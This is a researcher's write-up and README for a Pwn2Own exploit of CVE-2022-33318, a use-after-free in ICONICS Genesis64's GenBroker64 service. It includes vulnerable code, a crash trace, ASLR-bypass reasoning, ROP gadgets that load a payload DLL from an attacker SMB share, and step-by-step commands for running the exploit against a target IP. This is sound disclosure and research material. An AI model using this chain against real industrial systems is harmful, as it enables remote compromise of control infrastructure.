Paracosme - CVE-2022-33318 - Remote Code Execution in ICONICS Genesis64
Paracosme is a memory corruption exploit I wrote to target the Genesis64 suite v10.97.1 made by ICONICS to achieve remote code execution.
The exploit was demonstrated during the Pwn2Own 2022 Miami contest that took place at the S4x22 Conference.
The issue scored 9.8 on CVSS and was assigned CVE-2022-33318 / ZDI-22-1041. It was fixed and was fixed in Genesis64 10.97.2. You can also read the ICSA-22-202-04 advisory as well as ICONICS' whitepaper on ICONICS Suite Security Vulnerabilities.
You can find the exploit code in src/paracosme.py, a PoC to trigger the crash / verify if you are affected in src/paracosme-poc.py, and the payload executed in the machine in src/payload.
Am I affected?
The best way to know if you are affected is to turn on Page Heap for GenBroker64.exe
, restart the service, attach a debugger to GenBroker64.exe
, run paracosme-poc.py against your server and you should see crashes like in the below:
You need to attach a debugger to the target process to witness the crash otherwise the application ignores it.
Running the exploit
The exploit has been only tested on Windows but should also be working on Linux platforms:
- Install
impacket
with:pip3 install impacket
- Turn off any SMB server running on your machine with
sc config lanmanserver start=disabled
and reboot - Start an smbserver with
smbserver.py
(part ofimpacket
's examples) with:python src\smbserver.py -smb2support x bin
- Start the exploit with
python src\paracosme.py --target <ip>
The exploit
Overview of the vulnerability
Paracosme exploits a use-after-free issue found in the GenBroker64 process to achieve remote code execution on a Windows 21H2 x64 system. For the interested readers, you can also find the GenBroker64.exe binary in the bin/ folder.
At a high level, the GenBroker64 process listens on the TCP port 38080 and is able to deserialize various packets after a handshake has been done with a client. The isue I found is in the code that handles reading a VARIANT from the network socket. Basically a variant is a type and a value. The function seems well-written at first sight, and takes efforts to only unpacks certain types. This is how it looks like:
bool CheckVariantType(VARTYPE VarType) {
if((VarType & 0x2FFF) != VarType) {
return false;
}
switch(VarType & 0xFFF) {
case VT_EMPTY:
case VT_NULL:
case VT_I2:
case VT_I4:
case VT_R4:
case VT_R8:
case VT_CY:
case VT_DATE:
case VT_BSTR:
case VT_ERROR:
case VT_BOOL:
case VT_VARIANT:
case VT_I1:
case VT_UI1:
case VT_UI2:
case VT_UI4:
case VT_I8:
case VT_UI8:
case VT_INT:
case VT_UINT:
case VT_HRESULT:
case VT_FILETIME:
return true;
break;
default:
return false;
}
}
size_t VariantTypeToSize(VARTYPE VarType) {
switch(VarType) {
case VT_I1: return 1;
case VT_UI2: return 2;
case VT_UI4:
case VT_INT:
case VT_UINT:
case VT_HRESULT:
return 4;
case VT_I8:
case VT_UI8:
case VT_FILETIME:
return 8;
default:
return 0;
}
}
void Utils::ReadVariant(tagVARIANT *Variant, Archive_t *Archive, int Level) {
TRY {
return ReadVariant_((CArchive *)Archive, (COleVariant *)Variant);
} CATCH_ALL(e) {
VariantClear(Variant);
}
}
HRESULT Utils::ReadVariant_(tagVARIANT *Variant, Archive_t *Archive, int Level) {
VARTYPE VarType = Archive.ReadUint16();
if((VarType & VT_ARRAY) != 0) {
// Special logic to unpack arrays..
return ..;
}
Size = VariantTypeToSize(VarType);
if (Size) {
Variant->vt = VarType;
return Archive.ReadInto(&Variant->decVal.8, Size);
}
if(!CheckVariantType(VarType)) {
// ...
throw Something();
}
return Archive >> Variant;
}
The function implements itself the array unpacking, as well as reading simple variant types but if it is receiving something that isn't any of those two, it bails out to the operator>>
of the archive instance. This archive instance is an object that is provided by the Microsoft Foundation Class framework that handles serialization & deserialization of various objects. This code is actually open-source and you can find it in C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.29.30133\atlmfc\src\mfc\olevar.cpp
, but here it is:
CArchive& AFXAPI operator>>(CArchive& ar, COleVariant& varSrc) {
LPVARIANT pSrc = &varSrc;
// ...
switch(pSrc->vt) {
// ...
case VT_DISPATCH:
case VT_UNKNOWN: {
LPPERSISTSTREAM pPersistStream = NULL;
CArchiveStream stm(&ar);
CLSID clsid;
ar >> clsid.Data1;
ar >> clsid.Data2;
ar >> clsid.Data3;
ar.EnsureRead(&clsid.Data4[0], sizeof clsid.Data4);
SCODE sc = CoCreateInstance(clsid, NULL,
CLSCTX_ALL | CLSCTX_REMOTE_SERVER,
pSrc->vt == VT_UNKNOWN ? IID_IUnknown : IID_IDispatch,
(void**)&pSrc->punkVal);
if(sc == E_INVALIDARG) {
sc = CoCreateInstance(clsid, NULL,
CLSCTX_ALL & ~CLSCTX_REMOTE_SERVER,
pSrc->vt == VT_UNKNOWN ? IID_IUnknown : IID_IDispatch,
(void**)&pSrc->punkVal);
}
AfxCheckError(sc);
TRY {
sc = pSrc->punkVal->QueryInterface(
IID_IPersistStream, (void**)&pPersistStream);
if(FAILED(sc)) {
sc = pSrc->punkVal->QueryInterface(
IID_IPersistStreamInit, (void**)&pPersistStream);
}
AfxCheckError(sc);
AfxCheckError(pPersistStream->Load(&stm));
} CATCH_ALL(e) {
if(pPersistStream != NULL) {
pPersistStream->Release();
}
pSrc->punkVal->Release();
THROW_LAST();
}
END_CATCH_ALL
pPersistStream->Release();
}
return ar;
}
}
The function is mostly boring because it also has logic to unpack trivial types but what caught my attention was the VT_DISPATCH
/ VT_UNKNOWN
.
What the hell? You are able to send an arbitrary COM object class ID that implements either IPersistStream or IPersistStreamInit and it will load it by invoking IPersistream::Load to initialize the object. Although this is surprising and a weird feature I didn't really find this interesting from a security standpoint because I would need to find another bug in a COM object available on stock Windows 10.
Now, let's look closer at the below code:
SCODE sc = CoCreateInstance(clsid, NULL,
CLSCTX_ALL | CLSCTX_REMOTE_SERVER,
pSrc->vt == VT_UNKNOWN ? IID_IUnknown : IID_IDispatch,
(void**)&pSrc->punkVal); <-------------- [[0]]
if(sc == E_INVALIDARG) {
sc = CoCreateInstance(clsid, NULL,
CLSCTX_ALL & ~CLSCTX_REMOTE_SERVER,
pSrc->vt == VT_UNKNOWN ? IID_IUnknown : IID_IDispatch,
(void**)&pSrc->punkVal);
}
AfxCheckError(sc);
TRY {
sc = pSrc->punkVal->QueryInterface(
IID_IPersistStream, (void**)&pPersistStream);
if(FAILED(sc)) {
sc = pSrc->punkVal->QueryInterface(
IID_IPersistStreamInit, (void**)&pPersistStream);
}
AfxCheckError(sc);
AfxCheckError(pPersistStream->Load(&stm));
} CATCH_ALL(e) {
if(pPersistStream != NULL) {
pPersistStream->Release();
}
pSrc->punkVal->Release();
THROW_LAST();
}
The CoCreateInstance call writes the COM instance pointer directly in pSrc->punkVal
which is the resulting variant stored in a caller several frames ahead. Then, if IStreamPersist::Load triggers an exception it is caught and IUnknown::Release is called on both the IUnknown and the IPersistStream interfaces which will free the COM object leaving the pSrc->punkVal
dangling. The other interesting point is after doing that, the catch block rethrow the exception which gets caught by the below code:
void Utils::ReadVariant(tagVARIANT *Variant, Archive_t *Archive, int Level) {
TRY {
return ReadVariant_((CArchive *)Archive, (COleVariant *)Variant);
} CATCH_ALL(e) {
VariantClear(Variant);
}
}
At this stage the variant has already been free'd but its type and value haven't been updated / changed so this VariantClear calls trigger a second IUnknown::Release which yield the below crash:
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
OLEAUT32!VarWeekdayName+0x22468:
00007ffa`e620c7f8 488b01 mov rax,qword ptr [rcx] ds:00000000`2e5a2fd0=????????????????
0:006> kp
# Child-SP RetAddr Call Site
00 00000000`093bad20 00007ffa`e620cb31 OLEAUT32!VarWeekdayName+0x22468
01 00000000`093bad50 00000001`4000c20a OLEAUT32!VariantClear+0x21
02 00000000`093bad80 00007ffa`ccfa10ea GenBroker64+0xc20a
03 00000000`093badb0 00007ffa`ccfa2ca6 VCRUNTIME140_1+0x10ea
04 00000000`093bade0 00007ffa`ccfa3ae5 VCRUNTIME140_1!_NLG_Return2+0x1b56
05 00000000`093baf10 00007ffa`ccfa2258 VCRUNTIME140_1!_NLG_Return2+0x2995
06 00000000`093baf40 00007ffa`ccfa40e9 VCRUNTIME140_1!_NLG_Return2+0x1108
07 00000000`093bafe0 00007ffa`e6ce121f VCRUNTIME140_1!_CxxFrameHandler4+0xa9
08 00000000`093bb050 00007ffa`e6c5d9c2 ntdll!_chkstk+0x19f
09 00000000`093bb080 00007ffa`ccfa3d82 ntdll!RtlUnwindEx+0x522
0a 00000000`093bb790 00007ffa`ccfa1635 VCRUNTIME140_1!_NLG_Return2+0x2c32
0b 00000000`093bb880 00007ffa`ccfa19e6 VCRUNTIME140_1!_NLG_Return2+0x4e5
0c 00000000`093bb920 00007ffa`ccfa232b VCRUNTIME140_1!_NLG_Return2+0x896
0d 00000000`093bbaf0 00007ffa`ccfa40e9 VCRUNTIME140_1!_NLG_Return2+0x11db
0e 00000000`093bbb90 00007ffa`e6ce119f VCRUNTIME140_1!_CxxFrameHandler4+0xa9
0f 00000000`093bbc00 00007ffa`e6caa229 ntdll!_chkstk+0x11f
10 00000000`093bbc30 00007ffa`e6cdfe0e ntdll!RtlRaiseException+0x399
11 00000000`093bc340 00007ffa`e439a839 ntdll!KiUserExceptionDispatcher+0x2e
12 00000000`093bd080 00007ffa`ccfa2753 KERNELBASE!RaiseException+0x69
13 00000000`093bd160 00007ffa`e6ce05e6 VCRUNTIME140_1!_NLG_Return2+0x1603
14 00000000`093bd240 00007ffa`ccc1ab24 ntdll!RtlCaptureContext+0x566
15 00000000`093bf980 00000001`4001c574 mfc140u+0x27ab24
16 00000000`093bfa20 00000001`40023241 GenBroker64+0x1c574
17 00000000`093bfae0 00000001`40025fdc GenBroker64+0x23241
18 00000000`093bfb40 00000001`4008afee GenBroker64+0x25fdc
19 00000000`093bfb80 00000001`4008a499 GenBroker64+0x8afee
1a 00000000`093bfc80 00000001`400858bd GenBroker64+0x8a499
1b 00000000`093bfda0 00000001`400860a9 GenBroker64+0x858bd
1c 00000000`093bfe20 00007ffa`e5187bd4 GenBroker64+0x860a9
1d 00000000`093bff30 00007ffa`e6cace71 KERNEL32!BaseThreadInitThunk+0x14
1e 00000000`093bff60 00000000`00000000 ntdll!RtlUserThreadStart+0x21
Woot, pretty awesome, we can trigger the above by instantiating a COM object that implements IPersistStream and have it triggers an exception when Load
is invoked. You can find the trigger code in paracosme-poc.py which should crash the GenBroker64.exe
process on the target. You can also enable page heap on the GenBroker64.exe
to get a crash instantly.
Getting RIP
When VariantClear
is called on the variant, it will dispatch a virtual call to the Release
method to release it. As this is a virtual call, the function reads a vtable and grabs a function pointer at a fixed offset and invokes it. Before this happens, we race the thread to reclaim the ole32!CFileMoniker
instance and replace it with controlled data (see RacerThread_t
). As a result, we control the vtable pointer and are an instruction away from hijacking RIP. The below shows the corresponding assembly instruction where @rcx
points to the chunk we have full control over:
0:011> u . l3
OLEAUT32!VariantClear+0x20b:
00007ffb`0df751cb mov rax,qword ptr [rcx]
00007ffb`0df751ce mov rax,qword ptr [rax+10h]
00007ffb`0df751d2 call qword ptr [00007ffb`0df82660]
0:011> u poi(00007ffb`0df82660)
OLEAUT32!SetErrorInfo+0xec0:
00007ffb`0deffd40 jmp rax
Because we have full control over the reclaimed chunk, we control @rax
. In order to hijack the control flow, we need to set @rax
to a pointer to the value we want to hijack @rip
with. The big issue here is ASLR and we don't have an information disclosure.
Fortunately for us, the module GenBroker64.exe
doesn't have a dynamic base which means we can use it to find a location that points to an interesting gadget to start our chain.
0:012> !dh genbroker64
File Type: EXECUTABLE IMAGE
FILE HEADER VALUES
8664 machine (X64)
7 number of sections
616D3B07 time date stamp Mon Oct 18 02:14:47 2021
0 file pointer to symbol table
0 number of symbols
F0 size of optional header
22 characteristics
Executable
App can handle >2gb addresses
OPTIONAL HEADER VALUES
High entropy VA supported
NX compatible
Terminal server aware
ROP
The first gadget that used is a gadget that allows us to fully control @rip
(without any indirection):
0:011> u poi(1400aed18)
00007ffb2137ffe0 sub rsp,38h
00007ffb2137ffe4 test rcx,rcx
00007ffb2137ffe7 je 00007ffb`21380015
00007ffb2137ffe9 cmp qword ptr [rcx+10h],0
00007ffb2137ffee jne 00007ffb`2137fff4
...
00007ffb2137fff4 and qword ptr [rsp+40h],0
00007ffb2137fffa mov rax,qword ptr [rcx+10h]
00007ffb2137fffe call qword ptr [mfc140u!__guard_dispatch_icall_fptr (00007ffb`21415b60)]
We can place the address of the next gadget at offset +0x10
in the chunk we reclaim (pointed by @rcx
) which is great.
The second gadget we use pivots the stack to the reclaimed heap chunk we have full control over:
0:008> u 14005bd25
000000014005bd25 mov esp,ecx
000000014005bd27 cmp byte ptr [1400fe788],0
000000014005bd2e je 000000014005bebc
...
000000014005bebc lea r11,[rsp+60h]
000000014005bec1 mov rbx,qword ptr [r11+30h]
000000014005bec5 mov rbp,qword ptr [r11+38h]
000000014005bec9 mov rsi,qword ptr [r11+40h]
000000014005becd mov rsp,r11
000000014005bed0 pop r15
000000014005bed2 pop r14
000000014005bed4 pop r13
000000014005bed6 pop r12
000000014005bed8 pop rdi
000000014005bed9 ret
Funny thing is that the address of our heap chunk seems to be located (always?) in a location that fits in a 32-bit integer and that is why mov esp, ecx
works fine.
At this point we have ROP but we don't have a whole lot of space which was pretty frustrating. I spent a bunch of time trying to align the stars and eventually came up with a sequence of gadgets that invokes LoadLibraryW
with a remote SMB path pointing to a DLL file that hosts our payload. If you are interested in the details of the chain, check out paracosme.py@241.
Authors
- Axel '0vercl0k' Souchet